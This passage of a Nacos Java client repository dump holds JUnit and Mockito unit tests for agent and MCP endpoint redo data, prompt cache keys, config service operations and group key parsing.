NacosException {\n        // Prepare test data\n        Set<RedoData<AgentEndpointWrapper>> agentEndpointSet = new HashSet<>();\n        agentEndpointSet.add(buildAgentEndpointRedoData(\"testAgent\", RedoData.RedoType.UNREGISTER, true));\n        \n        // Mock service methods\n        when(aiGrpcRedoService.findAgentEndpointRedoData()).thenReturn(agentEndpointSet);\n        when(aiGrpcClient.isEnable()).thenReturn(true);\n        when(aiGrpcRedoService.isConnected()).thenReturn(true);\n        \n        // Run the task\n        task.run();\n        \n        // Verify interactions\n        AgentEndpoint expectedEndpoint = new AgentEndpoint();\n        expectedEndpoint.setAddress(\"127.0.0.1\");\n        expectedEndpoint.setPort(8080);\n        verify(aiGrpcClient).doDeregisterAgentEndpoint(\"testAgent\", expectedEndpoint);\n    }\n    \n    @Test\n    void testRunForAgentEndpointRedoWithRemove() throws NacosException {\n        // Prepare test data\n        Set<RedoData<AgentEndpointWrapper>> agentEndpointSet = new HashSet<>();\n        agentEndpointSet.add(buildAgentEndpointRedoData(\"testAgent\", RedoData.RedoType.REMOVE, false));\n        \n        // Mock service methods\n        when(aiGrpcRedoService.findAgentEndpointRedoData()).thenReturn(agentEndpointSet);\n        when(aiGrpcRedoService.isConnected()).thenReturn(true);\n        \n        // Run the task\n        task.run();\n        \n        // Verify interactions\n        verify(aiGrpcRedoService).removeAgentEndpointForRedo(\"testAgent\");\n    }\n    \n    @Test\n    void testRunForAgentEndpointRedoWithClientDisabled() throws NacosException {\n        // Prepare test data\n        Set<RedoData<AgentEndpointWrapper>> agentEndpointSet = new HashSet<>();\n        agentEndpointSet.add(buildAgentEndpointRedoData(\"testAgent\", RedoData.RedoType.REGISTER, false));\n        \n        // Mock service methods\n        when(aiGrpcRedoService.findAgentEndpointRedoData()).thenReturn(agentEndpointSet);\n        when(aiGrpcClient.isEnable()).thenReturn(false); // Client is disabled\n        when(aiGrpcRedoService.isConnected()).thenReturn(true);\n        \n        // Run the task\n        task.run();\n        \n        // Verify that no interactions happened with the client\n        verify(aiGrpcClient, never()).doRegisterAgentEndpoint(anyString(), any(AgentEndpoint.class));\n    }\n    \n    @Test\n    void testRunForAgentEndpointRedoWithUnregisterClientDisabled() throws NacosException {\n        // Prepare test data\n        Set<RedoData<AgentEndpointWrapper>> agentEndpointSet = new HashSet<>();\n        agentEndpointSet.add(buildAgentEndpointRedoData(\"testAgent\", RedoData.RedoType.UNREGISTER, false));\n        \n        // Mock service methods\n        when(aiGrpcRedoService.findAgentEndpointRedoData()).thenReturn(agentEndpointSet);\n        when(aiGrpcClient.isEnable()).thenReturn(false); // Client is disabled\n        when(aiGrpcRedoService.isConnected()).thenReturn(true);\n        \n        // Run the task\n        task.run();\n        \n        // Verify that no interactions happened with the client\n        verify(aiGrpcClient, never()).doRegisterAgentEndpoint(anyString(), any(AgentEndpoint.class));\n    }\n    \n    @Test\n    void testRunForAgentEndpointRedoWithNacosException() throws NacosException {\n        // Prepare test data\n        Set<RedoData<AgentEndpointWrapper>> agentEndpointSet = new HashSet<>();\n        agentEndpointSet.add(buildAgentEndpointRedoData(\"testAgent\", RedoData.RedoType.REGISTER, false));\n        \n        // Mock service methods\n        when(aiGrpcRedoService.findAgentEndpointRedoData()).thenReturn(agentEndpointSet);\n        when(aiGrpcClient.isEnable()).thenReturn(true);\n        when(aiGrpcRedoService.isConnected()).thenReturn(true);\n        \n        AgentEndpoint expectedEndpoint = new AgentEndpoint();\n        expectedEndpoint.setAddress(\"127.0.0.1\");\n        expectedEndpoint.setPort(8080);\n        doThrow(new NacosException(500, \"test\")).when(aiGrpcClient)\n                .doRegisterAgentEndpoint(\"testAgent\", expectedEndpoint);\n        \n        // Run the task - should not throw exception\n        task.run();\n        \n        // Verify interactions\n        verify(aiGrpcClient).doRegisterAgentEndpoint(\"testAgent\", expectedEndpoint);\n    }\n    \n    private McpServerEndpointRedoData buildMcpServerEndpointRedoData(String mcpName, RedoData.RedoType redoType) {\n        McpServerEndpoint mcpServerEndpoint = new McpServerEndpoint(\"127.0.0.1\", 8080, \"1.0.0\");\n        McpServerEndpointRedoData result = new McpServerEndpointRedoData(mcpName);\n        result.set(mcpServerEndpoint);\n        switch (redoType) {\n            case UNREGISTER:\n                result.registered();\n                result.setUnregistering(true);\n                result.setExpectedRegistered(false);\n                break;\n            case REMOVE:\n                result.unregistered();\n                result.setExpectedRegistered(false);\n                break;\n            default:\n        }\n        return result;\n    }\n    \n    private AgentEndpointRedoData buildAgentEndpointRedoData(String agentName, RedoData.RedoType redoType,\n            boolean isBatch) {\n        // Prepare test data\n        AgentEndpoint endpoint = new AgentEndpoint();\n        endpoint.setAddress(\"127.0.0.1\");\n        endpoint.setPort(8080);\n        \n        AgentEndpointWrapper wrapper = isBatch ? AgentEndpointWrapper.wrap(Collections.singletonList(endpoint))\n                : AgentEndpointWrapper.wrap(endpoint);\n        \n        AgentEndpointRedoData agentEndpointRedoData = new AgentEndpointRedoData(agentName, wrapper);\n        \n        switch (redoType) {\n            case UNREGISTER:\n                agentEndpointRedoData.registered();\n                agentEndpointRedoData.setUnregistering(true);\n                agentEndpointRedoData.setExpectedRegistered(false);\n                break;\n            case REMOVE:\n                agentEndpointRedoData.unregistered();\n                agentEndpointRedoData.setExpectedRegistered(false);\n                break;\n            default:\n        }\n        return agentEndpointRedoData;\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/ai/remote/redo/McpServerEndpointRedoDataTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.remote.redo;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\n\nclass McpServerEndpointRedoDataTest {\n    \n    @Test\n    void testEquals() {\n        McpServerEndpointRedoData data = new McpServerEndpointRedoData(\"mcpName\");\n        data.set(new McpServerEndpoint(\"127.0.0.1\", 8080, \"v1\"));\n        assertEquals(data, data);\n        assertNotEquals(data, null);\n        assertNotEquals(data, new Object());\n        McpServerEndpointRedoData data1 = new McpServerEndpointRedoData(\"mcpName\");\n        data1.set(new McpServerEndpoint(\"127.0.0.1\", 8080, \"v1\"));\n        assertEquals(data, data1);\n        data1 = new McpServerEndpointRedoData(\"mcpName2\");\n        data1.set(new McpServerEndpoint(\"127.0.0.1\", 8080, \"v1\"));\n        assertNotEquals(data, data1);\n        data1 = new McpServerEndpointRedoData(\"mcpName\");\n        data1.set(new McpServerEndpoint(\"127.0.0.1\", 8081, \"v1\"));\n        assertNotEquals(data, data1);\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/ai/remote/redo/McpServerEndpointTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.remote.redo;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\n\nclass McpServerEndpointTest {\n    \n    @Test\n    void testEquals() {\n        McpServerEndpoint mcpServerEndpoint = new McpServerEndpoint(\"127.0.0.1\", 8080, \"v1\");\n        assertEquals(mcpServerEndpoint, mcpServerEndpoint);\n        assertNotEquals(mcpServerEndpoint, null);\n        assertNotEquals(mcpServerEndpoint, new Object());\n        McpServerEndpoint mcpServerEndpoint1 = new McpServerEndpoint(\"127.0.0.1\", 8080, \"v1\");\n        assertEquals(mcpServerEndpoint, mcpServerEndpoint1);\n        mcpServerEndpoint1 = new McpServerEndpoint(\"127.0.0.1\", 8080, \"v2\");\n        assertNotEquals(mcpServerEndpoint, mcpServerEndpoint1);\n        mcpServerEndpoint1 = new McpServerEndpoint(\"127.0.0.2\", 8080, \"v1\");\n        assertNotEquals(mcpServerEndpoint, mcpServerEndpoint1);\n        mcpServerEndpoint1 = new McpServerEndpoint(\"127.0.0.1\", 8081, \"v1\");\n        assertNotEquals(mcpServerEndpoint, mcpServerEndpoint1);\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/ai/utils/CacheKeyUtilsTest.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass CacheKeyUtilsTest {\n    \n    @Test\n    void buildPromptKeyShouldUseLabelFirst() {\n        String key = CacheKeyUtils.buildPromptKey(\"p1\", \"1.0.0\", \"prod\");\n        assertEquals(\"p1::label:prod\", key);\n    }\n    \n    @Test\n    void buildPromptKeyShouldUseVersionWhenNoLabel() {\n        String key = CacheKeyUtils.buildPromptKey(\"p1\", \"1.0.0\", null);\n        assertEquals(\"p1::version:1.0.0\", key);\n    }\n    \n    @Test\n    void buildPromptKeyShouldUseLatestWhenNoLabelAndVersion() {\n        String key = CacheKeyUtils.buildPromptKey(\"p1\", null, null);\n        assertEquals(\"p1::latest\", key);\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/NacosConfigServiceTest.java",
    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.config.ConfigType;\nimport com.alibaba.nacos.api.config.listener.ConfigFuzzyWatchChangeEvent;\nimport com.alibaba.nacos.api.config.listener.FuzzyWatchEventWatcher;\nimport com.alibaba.nacos.api.config.listener.Listener;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.config.filter.impl.ConfigResponse;\nimport com.alibaba.nacos.client.config.impl.ClientWorker;\nimport com.alibaba.nacos.client.config.impl.ConfigFuzzyWatchContext;\nimport com.alibaba.nacos.client.config.impl.ConfigServerListManager;\nimport com.alibaba.nacos.client.config.impl.ConfigTransportClient;\nimport com.alibaba.nacos.client.config.impl.LocalConfigInfoProcessor;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.common.utils.FuzzyGroupKeyPattern;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.Assertions;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\n\nimport java.lang.reflect.Field;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.Properties;\nimport java.util.Set;\nimport java.util.concurrent.Executor;\nimport java.util.concurrent.Future;\n\nimport static com.alibaba.nacos.api.common.Constants.ALL_PATTERN;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\n\n@ExtendWith(MockitoExtension.class)\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass NacosConfigServiceTest {\n    \n    private NacosConfigService nacosConfigService;\n    \n    private ClientWorker mockWoker;\n    \n    private void setFinal(Field field, Object ins, Object newValue) throws Exception {\n        field.setAccessible(true);\n        field.set(ins, newValue);\n        field.setAccessible(false);\n        \n    }\n    \n    @BeforeEach\n    void mock() throws Exception {\n        final Properties properties = new Properties();\n        properties.put(\"serverAddr\", \"1.1.1.1\");\n        nacosConfigService = new NacosConfigService(properties);\n        mockWoker = Mockito.mock(ClientWorker.class);\n        setFinal(NacosConfigService.class.getDeclaredField(\"worker\"), nacosConfigService, mockWoker);\n    }\n    \n    @AfterEach\n    void clean() {\n        LocalConfigInfoProcessor.cleanAllSnapshot();\n    }\n    \n    @Test\n    void testGetConfigFromServer() throws NacosException {\n        final String dataId = \"1\";\n        final String group = \"2\";\n        final String tenant = \"public\";\n        final int timeout = 3000;\n        ConfigResponse response = new ConfigResponse();\n        response.setContent(\"aa\");\n        response.setConfigType(\"bb\");\n        Mockito.when(mockWoker.getServerConfig(dataId, group, tenant, timeout, false)).thenReturn(response);\n        final String config = nacosConfigService.getConfig(dataId, group, timeout);\n        assertEquals(\"aa\", config);\n        Mockito.verify(mockWoker, Mockito.times(1)).getServerConfig(dataId, group, tenant, timeout, false);\n        \n    }\n    \n    @Test\n    void testGetConfigFromFailOver() throws NacosException {\n        final String dataId = \"1failover\";\n        final String group = \"2\";\n        final String tenant = \"public\";\n        \n        MockedStatic<LocalConfigInfoProcessor> localConfigInfoProcessorMockedStatic = Mockito.mockStatic(\n                LocalConfigInfoProcessor.class);\n        try {\n            String contentFailOver = \"failOverContent\" + System.currentTimeMillis();\n            localConfigInfoProcessorMockedStatic.when(\n                    () -> LocalConfigInfoProcessor.getFailover(any(), eq(dataId), eq(group), eq(tenant)))\n                    .thenReturn(contentFailOver);\n            final int timeout = 3000;\n            \n            final String config = nacosConfigService.getConfig(dataId, group, timeout);\n            assertEquals(contentFailOver, config);\n        } finally {\n            localConfigInfoProcessorMockedStatic.close();\n        }\n    }\n    \n    @Test\n    void testGetConfigFromLocalCache() throws NacosException {\n        final String dataId = \"1localcache\";\n        final String group = \"2\";\n        final String tenant = \"public\";\n        \n        MockedStatic<LocalConfigInfoProcessor> localConfigInfoProcessorMockedStatic = Mockito.mockStatic(\n                LocalConfigInfoProcessor.class);\n        try {\n            String contentFailOver = \"localCacheContent\" + System.currentTimeMillis();\n            //fail over null\n            localConfigInfoProcessorMockedStatic.when(\n                    () -> LocalConfigInfoProcessor.getFailover(any(), eq(dataId), eq(group), eq(tenant)))\n                    .thenReturn(null);\n            //snapshot content\n            localConfigInfoProcessorMockedStatic.when(\n                    () -> LocalConfigInfoProcessor.getSnapshot(any(), eq(dataId), eq(group), eq(tenant)))\n                    .thenReturn(contentFailOver);\n            //form server error.\n            final int timeout = 3000;\n            Mockito.when(mockWoker.getServerConfig(dataId, group, tenant, timeout, false))\n                    .thenThrow(new NacosException());\n            \n            final String config = nacosConfigService.getConfig(dataId, group, timeout);\n            assertEquals(contentFailOver, config);\n        } finally {\n            localConfigInfoProcessorMockedStatic.close();\n        }\n        \n    }\n    \n    @Test\n    void testGetConfig403() throws NacosException {\n        final String dataId = \"1localcache403\";\n        final String group = \"2\";\n        final String tenant = \"public\";\n        \n        MockedStatic<LocalConfigInfoProcessor> localConfigInfoProcessorMockedStatic = Mockito.mockStatic(\n                LocalConfigInfoProcessor.class);\n        try {\n            //fail over null\n            localConfigInfoProcessorMockedStatic.when(\n                    () -> LocalConfigInfoProcessor.getFailover(any(), eq(dataId), eq(group), eq(tenant)))\n                    .thenReturn(null);\n            \n            //form server error.\n            final int timeout = 3000;\n            Mockito.when(mockWoker.getServerConfig(dataId, group, tenant, timeout, false))\n                    .thenThrow(new NacosException(NacosException.NO_RIGHT, \"no right\"));\n            try {\n                nacosConfigService.getConfig(dataId, group, timeout);\n                assertTrue(false);\n            } catch (NacosException e) {\n                assertEquals(NacosException.NO_RIGHT, e.getErrCode());\n            }\n        } finally {\n            localConfigInfoProcessorMockedStatic.close();\n        }\n    }\n    \n    @Test\n    void testGetConfigAndSignListener() throws NacosException {\n        final String dataId = \"1\";\n        final String group = \"2\";\n        final String tenant = \"\";\n        final String content = \"123\";\n        final int timeout = 3000;\n        final Listener listener = new Listener() {\n            @Override\n            public Executor getExecutor() {\n                return null;\n            }\n            \n            @Override\n            public void receiveConfigInfo(String configInfo) {\n            \n            }\n        };\n        \n        Properties properties = new Properties();\n        properties.put(PropertyKeyConst.SERVER_ADDR, \"aaa\");\n        final NacosClientProperties nacosProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        ConfigServerListManager mgr = new ConfigServerListManager(nacosProperties);\n        mgr.start();\n        ConfigTransportClient client = new ConfigTransportClient(nacosProperties, mgr) {\n            @Override\n            public void startInternal() throws NacosException {\n                // NOOP\n            }\n            \n            @Override\n            public String getName() {\n                return \"TestConfigTransportClient\";\n            }\n            \n            @Override\n            public void notifyListenConfig() {\n                // NOOP\n            }\n            \n            @Override\n            public void executeConfigListen() {\n                // NOOP\n            }\n            \n            @Override\n            public void removeCache(String dataId, String group) {\n                // NOOP\n            }\n            \n            @Override\n            public ConfigResponse queryConfig(String dataId, String group, String tenant, long readTimeous,\n                    boolean notify) throws NacosException {\n                ConfigResponse configResponse = new ConfigResponse();\n                configResponse.setContent(content);\n                configResponse.setDataId(dataId);\n                configResponse.setGroup(group);\n                configResponse.setTenant(tenant);\n                return configResponse;\n            }\n            \n            @Override\n            public boolean publishConfig(String dataId, String group, String tenant, String appName, String tag,\n                    String betaIps, String content, String encryptedDataKey, String casMd5, String type)\n                    throws NacosException {\n                return false;\n            }\n            \n            @Override\n            public boolean removeConfig(String dataId, String group, String tenant, String tag) throws NacosException {\n                return false;\n            }\n        };\n        Mockito.when(mockWoker.getAgent()).thenReturn(client);\n        \n        final String config = nacosConfigService.getConfigAndSignListener(dataId, group, timeout, listener);\n        assertEquals(content, config);\n        \n        Mockito.verify(mockWoker, Mockito.times(1))\n                .addTenantListenersWithContent(dataId, group, content, null, Collections.singletonList(listener));\n        assertEquals(content, config);\n        \n        Mockito.verify(mockWoker, Mockito.times(1))\n                .addTenantListenersWithContent(dataId, group, content, null, Arrays.asList(listener));\n    }\n    \n    @Test\n    void testAddListener() throws NacosException {\n        String dataId = \"1\";\n        String group = \"2\";\n        Listener listener = new Listener() {\n            @Override\n            public Executor getExecutor() {\n                return null;\n            }\n            \n            @Override\n            public void receiveConfigInfo(String configInfo) {\n            \n            }\n        };\n        \n        nacosConfigService.addListener(dataId, group, listener);\n        Mockito.verify(mockWoker, Mockito.times(1)).addTenantListeners(dataId, group, Arrays.asList(listener));\n    }\n    \n    @Test\n    void testPublishConfig() throws NacosException {\n        String dataId = \"1\";\n        String group = \"2\";\n        String content = \"123\";\n        String namespace = \"public\";\n        String type = ConfigType.getDefaultType().getType();\n        Mockito.when(mockWoker.publishConfig(dataId, group, namespace, null, null, null, content, \"\", null, type))\n                .thenReturn(true);\n        \n        final boolean b = nacosConfigService.publishConfig(dataId, group, content);\n        assertTrue(b);\n        \n        Mockito.verify(mockWoker, Mockito.times(1))\n                .publishConfig(dataId, group, namespace, null, null, null, content, \"\", null, type);\n    }\n    \n    @Test\n    void testPublishConfig2() throws NacosException {\n        String dataId = \"1\";\n        String group = \"2\";\n        String content = \"123\";\n        String namespace = \"public\";\n        String type = ConfigType.PROPERTIES.getType();\n        \n        Mockito.when(mockWoker.publishConfig(dataId, group, namespace, null, null, null, content, \"\", null, type))\n                .thenReturn(true);\n        \n        final boolean b = nacosConfigService.publishConfig(dataId, group, content, type);\n        assertTrue(b);\n        \n        Mockito.verify(mockWoker, Mockito.times(1))\n                .publishConfig(dataId, group, namespace, null, null, null, content, \"\", null, type);\n    }\n    \n    @Test\n    void testPublishConfigCas() throws NacosException {\n        String dataId = \"1\";\n        String group = \"2\";\n        String content = \"123\";\n        String namespace = \"public\";\n        String casMd5 = \"96147704e3cb8be8597d55d75d244a02\";\n        String type = ConfigType.getDefaultType().getType();\n        \n        Mockito.when(mockWoker.publishConfig(dataId, group, namespace, null, null, null, content, \"\", casMd5, type))\n                .thenReturn(true);\n        \n        final boolean b = nacosConfigService.publishConfigCas(dataId, group, content, casMd5);\n        assertTrue(b);\n        \n        Mockito.verify(mockWoker, Mockito.times(1))\n                .publishConfig(dataId, group, namespace, null, null, null, content, \"\", casMd5, type);\n    }\n    \n    @Test\n    void testPublishConfigCas2() throws NacosException {\n        String dataId = \"1\";\n        String group = \"2\";\n        String content = \"123\";\n        String namespace = \"public\";\n        String casMd5 = \"96147704e3cb8be8597d55d75d244a02\";\n        String type = ConfigType.PROPERTIES.getType();\n        \n        Mockito.when(mockWoker.publishConfig(dataId, group, namespace, null, null, null, content, \"\", casMd5, type))\n                .thenReturn(true);\n        \n        final boolean b = nacosConfigService.publishConfigCas(dataId, group, content, casMd5, type);\n        assertTrue(b);\n        \n        Mockito.verify(mockWoker, Mockito.times(1))\n                .publishConfig(dataId, group, namespace, null, null, null, content, \"\", casMd5, type);\n    }\n    \n    @Test\n    void testRemoveConfig() throws NacosException {\n        String dataId = \"1\";\n        String group = \"2\";\n        String tenant = \"public\";\n        \n        Mockito.when(mockWoker.removeConfig(dataId, group, tenant, null)).thenReturn(true);\n        \n        final boolean b = nacosConfigService.removeConfig(dataId, group);\n        assertTrue(b);\n        \n        Mockito.verify(mockWoker, Mockito.times(1)).removeConfig(dataId, group, tenant, null);\n    }\n    \n    @Test\n    void testRemoveListener() {\n        String dataId = \"1\";\n        String group = \"2\";\n        Listener listener = new Listener() {\n            @Override\n            public Executor getExecutor() {\n                return null;\n            }\n            \n            @Override\n            public void receiveConfigInfo(String configInfo) {\n            \n            }\n        };\n        \n        nacosConfigService.removeListener(dataId, group, listener);\n        Mockito.verify(mockWoker, Mockito.times(1)).removeTenantListener(dataId, group, listener);\n    }\n    \n    @Test\n    void testGetServerStatus() {\n        Mockito.when(mockWoker.isHealthServer()).thenReturn(true);\n        assertEquals(\"UP\", nacosConfigService.getServerStatus());\n        Mockito.verify(mockWoker, Mockito.times(1)).isHealthServer();\n        \n        Mockito.when(mockWoker.isHealthServer()).thenReturn(false);\n        assertEquals(\"DOWN\", nacosConfigService.getServerStatus());\n        Mockito.verify(mockWoker, Mockito.times(2)).isHealthServer();\n        \n    }\n    \n    @Test\n    void testFuzzyWatch1() throws NacosException {\n        String groupNamePattern = \"default_group\";\n        FuzzyWatchEventWatcher fuzzyWatchEventWatcher = new FuzzyWatchEventWatcher() {\n            @Override\n            public void onEvent(ConfigFuzzyWatchChangeEvent event) {\n            \n            }\n            \n            @Override\n            public Executor getExecutor() {\n                return null;\n            }\n        };\n        ConfigFuzzyWatchContext context = Mockito.mock(ConfigFuzzyWatchContext.class);\n        Mockito.when(mockWoker.addTenantFuzzyWatcher(anyString(), anyString(), any())).thenReturn(context);\n        nacosConfigService.fuzzyWatch(groupNamePattern, fuzzyWatchEventWatcher);\n        Mockito.verify(mockWoker, Mockito.times(1))\n                .addTenantFuzzyWatcher(ALL_PATTERN, groupNamePattern, fuzzyWatchEventWatcher);\n        Mockito.verify(context, Mockito.times(1)).createNewFuture();\n    }\n    \n    @Test\n    void testFuzzyWatch2() throws NacosException {\n        String groupNamePattern = \"default_group\";\n        String dataIdPattern = \"dataId*\";\n        FuzzyWatchEventWatcher fuzzyWatchEventWatcher = new FuzzyWatchEventWatcher() {\n            @Override\n            public void onEvent(ConfigFuzzyWatchChangeEvent event) {\n            \n            }\n            \n            @Override\n            public Executor getExecutor() {\n                return null;\n            }\n        };\n        ConfigFuzzyWatchContext context = Mockito.mock(ConfigFuzzyWatchContext.class);\n        Mockito.when(mockWoker.addTenantFuzzyWatcher(anyString(), anyString(), any())).thenReturn(context);\n        nacosConfigService.fuzzyWatch(dataIdPattern, groupNamePattern, fuzzyWatchEventWatcher);\n        Mockito.verify(mockWoker, Mockito.times(1))\n                .addTenantFuzzyWatcher(dataIdPattern, groupNamePattern, fuzzyWatchEventWatcher);\n        Mockito.verify(context, Mockito.times(1)).createNewFuture();\n    }\n    \n    @Test\n    void testFuzzyWatch3() throws NacosException {\n        String groupNamePattern = \"group\";\n        String dataIdPattern = \"dataId*\";\n        String namespace = \"public\";\n        FuzzyWatchEventWatcher fuzzyWatchEventWatcher = new FuzzyWatchEventWatcher() {\n            @Override\n            public void onEvent(ConfigFuzzyWatchChangeEvent event) {\n            \n            }\n            \n            @Override\n            public Executor getExecutor() {\n                return null;\n            }\n        };\n        String patternKey = FuzzyGroupKeyPattern.generatePattern(dataIdPattern, groupNamePattern, namespace);\n        ConfigFuzzyWatchContext context = new ConfigFuzzyWatchContext(\"\", patternKey);\n        Mockito.when(mockWoker.addTenantFuzzyWatcher(anyString(), anyString(), any())).thenReturn(context);\n        Future<Set<String>> setFuture = nacosConfigService.fuzzyWatchWithGroupKeys(groupNamePattern,\n                fuzzyWatchEventWatcher);\n        Mockito.verify(mockWoker, Mockito.times(1))\n                .addTenantFuzzyWatcher(ALL_PATTERN, groupNamePattern, fuzzyWatchEventWatcher);\n        Assertions.assertNotNull(setFuture);\n    }\n    \n    @Test\n    void testFuzzyWatch4() throws NacosException {\n        String groupNamePattern = \"group\";\n        String dataIdPattern = \"dataId*\";\n        String namespace = \"public\";\n        FuzzyWatchEventWatcher fuzzyWatchEventWatcher = new FuzzyWatchEventWatcher() {\n            @Override\n            public void onEvent(ConfigFuzzyWatchChangeEvent event) {\n            \n            }\n            \n            @Override\n            public Executor getExecutor() {\n                return null;\n            }\n        };\n        String patternKey = FuzzyGroupKeyPattern.generatePattern(dataIdPattern, groupNamePattern, namespace);\n        ConfigFuzzyWatchContext context = new ConfigFuzzyWatchContext(\"\", patternKey);\n        Mockito.when(mockWoker.addTenantFuzzyWatcher(anyString(), anyString(), any())).thenReturn(context);\n        Future<Set<String>> setFuture = nacosConfigService.fuzzyWatchWithGroupKeys(dataIdPattern, groupNamePattern,\n                fuzzyWatchEventWatcher);\n        Mockito.verify(mockWoker, Mockito.times(1))\n                .addTenantFuzzyWatcher(dataIdPattern, groupNamePattern, fuzzyWatchEventWatcher);\n        Assertions.assertNotNull(setFuture);\n    }\n\n    @Test\n    void testShutDown() {\n        Assertions.assertDoesNotThrow(() -> {\n            nacosConfigService.shutDown();\n        });\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/common/GroupKeyTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.common;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertArrayEquals;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass GroupKeyTest {\n    \n    @Test\n    void testGetKey() {\n        assertEquals(\"1+foo\", GroupKey.getKey(\"1\", \"foo\"));\n        assertEquals(\"1+foo+bar\", GroupKey.getKey(\"1\", \"foo\", \"bar\"));\n        assertEquals(\"1+f%2Boo+b%25ar\", GroupKey.getKey(\"1\", \"f+oo\", \"b%ar\"));\n    }\n    \n    @Test\n    void testGetKeyTenant() {\n        assertEquals(\"1+foo+bar\", GroupKey.getKeyTenant(\"1\", \"foo\", \"bar\"));\n    }\n    \n    @Test\n    void testParseKey() {\n        assertArrayEquals(new String[] {\"a\", \"f+oo\", null}, GroupKey.parseKey(\"a+f%2Boo\"));\n        assertArrayEquals(new String[] {\"b\", \"f%oo\", null}, GroupKey.parseKey(\"b+f%25oo\"));\n        assertArrayEquals(new String[] {\"a\", \"b\", \"c\"}, GroupKey.parseKey(\"a+b+c\"));\n    }\n    \n    @Test\n    void testParseKeyIllegalArgumentException1() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            GroupKey.parseKey(\"\");\n        });\n    }\n    \n    @Test\n    void testParseKeyIllegalArgumentException2() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            GroupKey.parseKey(\"f%oo\");\n        });\n    }\n    \n    @Test\n    void testParseKeyIllegalArgumentException3() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            GroupKey.parseKey(\"f+o+o+bar\");\n        });\n    }\n    \n    @Test\n    void testParseKeyIllegalArgumentException4() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            GroupKey.parseKey(\"f++bar\");\n        });\n    }\n    \n    @Test\n    void testGetKeyDatIdParam() {\n        